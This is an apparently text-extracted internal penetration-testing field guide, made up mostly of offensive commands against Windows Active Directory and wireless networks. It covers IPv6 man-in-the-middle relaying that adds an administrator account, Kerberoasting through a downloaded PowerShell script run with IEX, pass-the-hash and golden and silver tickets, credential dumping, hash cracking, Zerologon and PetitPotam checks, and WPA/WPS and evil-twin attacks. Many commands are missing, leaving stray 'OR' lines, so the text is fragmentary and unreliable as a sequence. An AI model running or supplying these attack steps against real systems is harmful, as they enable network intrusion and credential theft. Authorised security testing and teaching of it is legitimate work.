Internal Field Guide
Internal Field Guide
RECONNAISSANCE ...................................................................................... 3
IPV4 NETWORK ACCESS CONTROL (NAC) BYPASS ................................................................ 4
UNAUTHENTICATED A SSET DISCOVERY .................................................................................. 5
UNAUTHENTICATED U SER DISCOVERY ................................................................................... 6
A UTHENTICATED ASSET /USERNAME DISCOVERY ...................................................................... 8
PORT DISCOVERY .......................................................................................................... 10
VULNERABILITY IDENTIFICATION ................................................................. 12
VULNERABILITY SCANNERS ............................................................................................... 13
INITIAL FOOTHOLD .................................................................................... 14
DEFAULT CREDENTIALS .................................................................................................... 15
ACQUIRE CREDENTIALS ................................................................................................... 16
CRACKING HASHES ................................................................................... 21
WORDLISTS AND RULES AND MASKS ................................................................................... 22
WINDOWS VERTICAL PRIVILEGE ESCALATION ............................................. 24
REMOTE USER TO ADMIN ................................................................................................. 25
WINDOWS HORIZONTAL PRIVILEGE ESCALATION ........................................ 27
LOGGED IN U SERS ......................................................................................................... 28
REMOTE MIMIKATZ /LSA DUMPS FROM LOCAL ADMIN ........................................................... 28
PASS T HE HASH (PTH) .................................................................................................... 29
PASS T HE K EY (PTK) ....................................................................................................... 30
PASS T HE TICKET (PTT) .................................................................................................... 32
S ILVER T ICKET ................................................................................................................ 33
GOLDEN T ICKET ............................................................................................................. 35
A UTOMATE L OCAL ADMIN T O DOMAIN ADMIN (NOISY) ....................................................... 37
CREDENTIAL PILLAGING ............................................................................ 38
E XTRACT SAM & CACHED HASHES MANUALLY .................................................................... 39
E XTRACT NTDS. DIT HASHES MANUALLY .............................................................................. 39
E XTRACT NTDS. DIT HASHES (AUTOMATED ) ......................................................................... 39
F IND P LAINTEXT PASSWORDS ............................................................................................ 40
WPA PSK STRING E XTRACTION ........................................................................................ 42
WIRELESS .................................................................................................. 44
WPA/WPA2 HASH CAPTURE WITH U SERS ........................................................................... 45
WPA/WPA2 HASH CAPTURE WITHOUT U SERS (PMKID) ........................................................ 45
WPS ........................................................................................................................... 46
ENTERPRISE W IRELESS ...................................................................................................... 46
EVIL TWIN (SOCIAL ENGINEERING ) .................................................................................... 47
OPEN WIRELESS ............................................................................................................. 47
WEP WIRELESS .............................................................................................................. 47
METHODOLOGY ........................................................................................ 49
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
SMB server
#Launch a man in the middle attack over IPv6 to SMB share.
https://github.com/fox-it/mitm6.git
https://github.com/SecureAuthCorp/impacket.git
mitm6 -i eth0
Responder
#Launch a man in the middle attack over IPv6.
https://github.com/fox-it/mitm6.git
https://github.com/lgandx/Responder
mitm6 -i eth0
ntlmrelayx
#Launch a man in the middle attack over IPv6.
https://github.com/fox-it/mitm6.git
https://github.com/SecureAuthCorp/impacket.git
OR
ntlmrelayx.py -ip 0.0.0.0 -t rpc://example.local -c "net user xyzuser xyzpass /add && net localgroup
Administrators xyzuser /add"
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
ARP Scan
netdiscover -i eth0
NetBIOS Scan
nbtscan <CIDR>
Ping Scan
DNS/DC Enumeration
OR
NULL Session
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/trustedsec/ridenum
OR
OR
OR
Anonymous Enumeration of AD
2) PingCastle.exe --hc-conso
OR
AD Dump
https://github.com/fox-it/BloodHound.py
#Computers
#Users
#Admins
https://github.com/byt3bl33d3r/CrackMapExec
Get-SPN -type group -search "Domain Admins" -List yes -DomainController <target>00 -Credential
domainuser | Format-Table –Autosize
P ORT D ISCOVERY
OR
nmap -iL targets.txt –p- --excludefile exclude.txt --osscan-guess --max-os-tries 1 --max-retries 3 --min-
rtt-timeout 100ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --
open --stats-every 10s -oX /tmp/nmap.xml
changeme.py nmap_output.xml
brutex <target>
use auxiliary/scanner/*
A CQUIRE C REDENTIALS
AD CS Abuse
https://github.com/topotam/PetitPotam
https://github.com/dirkjanm/PKINITtools
Export KRB5CCNAME=’/path/to/Administrator.ccache’
export KRB5CCNAME=admin.ccache
SCF Upload
#SMB Share File attack.
[Taskbar] Command=ToggleDesktop
responder -I eth0 -v
responder -I eth0 –v
export KRB5CCNAME=<TGS_ccache_file>
Password Spray
Collect usernames from the internet.
o Theharvester - https://github.com/laramies/theHarvester.git
o Linkedint - https://github.com/mdsecactivebreach/LinkedInt
o Raven - https://github.com/0x09AL/raven
o Hunter.io
o Dehashed.com - $4.49 purchase required
o Scylla - https://scylla.sh/
o Authenticated Asset/Username Discovery Section
https://github.com/Greenwolf/Spray.git
Crackmapexec
https://github.com/ReverendThing/Carnivore
#For MS Cloud services only
Carnivore.exe
Wordlists
• https://mega.nz/#!aqRS2CJZ!TjbvyNcrXxMXNNRiUOIsz91NrzVuqm_r-Z_CZ_udD5Q
• https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
• https://github.com/danielmiessler/SecLists/tree/master/Passwords
• https://hashes.org/leaks.php
Usage:
Wordlist/No rules
Wordlist W/rules
Crack IPMI
Combination Attack
AD CS Abuse
Certipy
ASREPRoast
Crackmapexec
Kerberoast
https://github.com/SecureAuthCorp/impacket.git (Linux)
https://github.com/GhostPack/Rubeus.git (Windows)
PowerShell
$webreq =
[System.Net.WebRequest]::Create(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/dat
a/module_source/credentials/Invoke-Kerberoast.ps1’); $resp=$webreq.GetResponse();
$respstream=$resp.GetResponseStream(); $reader=[System.IO.StreamReader]::new($respstream);
$content=$reader.ReadToEnd(); IEX($content); Invoke-Kerberoast -OutputFormat HashCat|Select-
Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt
Crackmapexec
Metasploit
use auxiliary/scanner/smb/psexec_loggedin_users
Pingcastle
Bloodhound
https://github.com/BloodHoundAD/BloodHound
neo4j start
Bloodhound Python
https://github.com/fox-it/BloodHound.py.git
Bloodhound – LSASSY
Metasploit
use auxiliary/scanner/smb/impacket/secretsdump
LSASSY
Metasploit
exploit/windows/smb/psexec_psh
load kiwi
creds_all
CredCrack
https://github.com/gojhonny/CredCrack
Metasploit
Metasploit
use exploit/windows/smb/psexec
xfreerdp
P ASS T HE K EY (PTK)
OR
OR
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
OR
#If user is root Tickey will inject into other user processes. Must be in a reachable folder.
https://github.com/TarlogicSecurity/tickey.git
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
Rubeus in PowerShell
https://github.com/GhostPack/Rubeus.git
.\Rubeus dump
Rubeus
PsExec
S ILVER T ICKET
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
G OLDEN T ICKET
Request The TGT via Linux (1)
https://github.com/SecureAuthCorp/impacket.git
#Generate the TGS with NTLM via impacket
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
https://github.com/byt3bl33d3r/DeathStar
DeathStar.py
Execute DeathStar
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\SYSTEM
c:\SYSTEM
https://github.com/SpiderLabs/scavenger
OR
python3 scavenger.py smb --target iplist --username administrator --password Password123 --domain
test.local --overwrite
https://github.com/byt3bl33d3r/CrackMapExec.git
Extract session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP
use post/windows/gather/*
dir /b /s sysprep.inf
Crackmapexec
crackmapexec smb -t 150 <target> -u USER -p Password123 --spider Users --depth 10 --pattern
password
OR
cat (Get-PSReadlineOption).HistorySavePath
or
or
Look for the “Key Content” line, the cleartext password will be there.
OR
*NIX
OR
./Wifite.py
OR
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Handshake tools menu (option 5)
4) Explore targets (option 4)
5) Capture Handshake (option 5)
Run manually
airmon-ng
#*-a=BSSID *-c=client
./Wifite.py
airmon-ng
echo "BSSID">filter.txt
WPS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate via airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select WPS attack menu (option 8)
4) Explore targets (option 4)
5) Run through list (7-13)
E NTERPRISE W IRELESS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate via airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Enterprise attack menu (option 10)
Password Spray
https://github.com/s0lst1c3/eaphammer
Password Reuse
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Evil Twin menu (option 7)
4) Select option 7-9 based on OPSEC requirement
O PEN W IRELESS
Nmap internal IP addresses and or hostnames.
WEP W IRELESS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate
https://github.com/derv82/wifite2
https://github.com/v1s1t0r1sh3r3/airgeddon
./Wifite.py
OR
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Handshake tools menu (option 5)
4) Explore targets (option 4)
5) WEP attack (option 5)
Asset discovery is generally time consuming, slow and produce lots of network traffic. I often spend the
first 30 min of my time running responder and MITM6 in an attempt gain credentials. I then move into
authenticated asset discovery.
1) Look for a very quick wins with before anything else. If attacks fail, move onto #2.
crackmapexec smb <Domain Controller> -u '' -p '' -M petitpotam
crackmapexec smb <Domain Controller> -u '' -p '' -M zerologon
crackmapexec smb <Domain Controller> -u '' -p '' –users -o users.txt
a. cme ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt
a. ./hashcat.bin -m 118200 -O -w 3 ./output.txt /opt/rockyou.txt
b. wget http://weakpasswords.net -O weakpass.txt
c. cme smb <Domain Controller> -u '' -p '' --pass-pol
d. spray.sh -smb <targetIP> <usernameList> <passwordList>
<AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
crackmapexec smb <subnet> -u '' -p '' -M ms17-010
2) Gather hashes. Careful this can cause certificate issues, among other things and potentially
DoS users.
responder -I eth0 -Pdv
a. sort -u -t: -k1,1 /usr/share/responder/logs/*.txt
3) Legacy services may be disabled. mitm6 may produce more hashes. I like to use the IP range of
my local subnet. Careful this can cause certificate issues, among other things and potentially
DoS users.
crackmapexec smb <subnet> --gen-relay-list relaylistOutputFilename.txt
mitm6 -i eth0 -d example.local
ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relaylistOutputFilename.txt -smb2support
a. Check local directory for hashes and SAM dumps. If a SAM hash is obtained Pass The
Hash to other domain PCs.
crackmapexec smb <ip> -u admin -H blahblah -M hash_spider
crackmapexec smb <subnet> -u admin -H blahblah -lsa
4) Crack the hashes. Most of the time you will get NTLMv2 (5600) hashes on modern
environments. If the hashes don’t crack. Continue relaying (preferably off hours). SMB
Signing may be enabled.
./hashcat64.bin -m 5600 -O -w 3 /opt/customer/admin_hash.txt /opt/wordlist/all_wordlists.txt
./hashcat64.bin -m 5600 -O -w 3 /opt/customer/admin_hash.txt /opt/wordlist/rockyou.txt -r
/usr/share/hashcat/rules/dive.rule
8) If you can’t crack the hashes, Pass the Hash from the SMB relay attack.
a. Basic users can create computer accounts. This can help gain a foothold into AD.
mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
ntlmrelayx.py -t ldaps://example.local --add-computer
b. Combine mitm6, ntlmrelayx and RBCD to abuse AD defaults.
11) Dump DNS records and find internal records to avoid going out of scope.
crackmapexec smb <Domain Controller> -u 'user' -p 'pass' -M enum_dns
OR
adidnsdump -u DOMAIN\\notanadmin <target>
14) Kick off vulnerability scanner to fill any gaps and exploit as needed.
#Need to find low hanging fruit quickly?
Run Nessus file through https://github.com/averagesecurityguy/scripts/blob/master/scan/scan.py
15) Manually look at each application through a screenshot tool. Check for default creds. Google
vendor passwords if you have internet access.